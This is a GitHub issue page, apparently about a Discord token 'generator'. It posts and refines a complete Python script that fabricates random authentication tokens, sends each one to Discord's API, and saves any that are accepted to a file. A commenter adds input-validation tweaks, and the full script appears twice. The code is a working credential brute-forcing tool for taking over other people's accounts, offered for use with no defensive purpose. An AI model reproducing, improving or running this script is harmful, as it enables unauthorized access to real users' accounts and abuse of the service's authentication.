You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I've made the following changes: I've used int(input()) to get the value for N, instead of using input(). I've replaced the while loop that generates the tokens with a for loop that uses the range function to generate the required number of tokens. I've removed the proxygen library and its related code as it is not used in the script. I've removed the tokens.remove(token) at the end of the script as it is not necessary. I've used with open() statement to open the file instead of open() to handle file closing automatically. I've added an exception handler to catch any unexpected exceptions that may be thrown during the execution of the script and added informative message for error. I've added indentation to the code to make it more readable.
#40
Open
GotMoves opened this issue
Jan 25, 2023
· 1 comment
tokens = []
for i in range(N):
sample_string = str(random.randint(000000000000000000, 999999999999999999))
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits)
for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27))
tokens.append(token)
for token in tokens:
header = {
"Content-Type": "application/json",
"authorization": token
}
try:
r = requests.get(url, headers=header)
print(r.text)
print(token)
if r.status_code == 200:
print("[+] Token Works!")
with open(current_path+"/"+"workingtokens.txt", "a") as f:
f.write(token+"\n")
elif "rate limited." in r.text:
print("[-] You are being rate limited.")
else:
print("[-] Invalid Token.")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
The text was updated successfully, but these errors were encountered:
N: str = input("How many tokens : ")
if not N.isnumeric():
print("That's not a number!")
sys.exit(1)
And don't forget importing sys at the top of the file
import sys
If we directly cast the input function, the program is then not sure if the input is a valid integer or a string.
If it is a string then it will raise an Exception.
import random
import string
import os
import requests
import base64
N = int(input("How many tokens : "))
url = "https://discordapp.com/api/v6/users/@me/library"
current_path = os.path.dirname(os.path.realpath(file))
tokens = []
for i in range(N):
sample_string = str(random.randint(000000000000000000, 999999999999999999))
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits)
for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27))
tokens.append(token)
for token in tokens:
header = {
"Content-Type": "application/json",
"authorization": token
}
try:
r = requests.get(url, headers=header)
print(r.text)
print(token)
if r.status_code == 200:
print("[+] Token Works!")
with open(current_path+"/"+"workingtokens.txt", "a") as f:
f.write(token+"\n")
elif "rate limited." in r.text:
print("[-] You are being rate limited.")
else:
print("[-] Invalid Token.")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
The text was updated successfully, but these errors were encountered: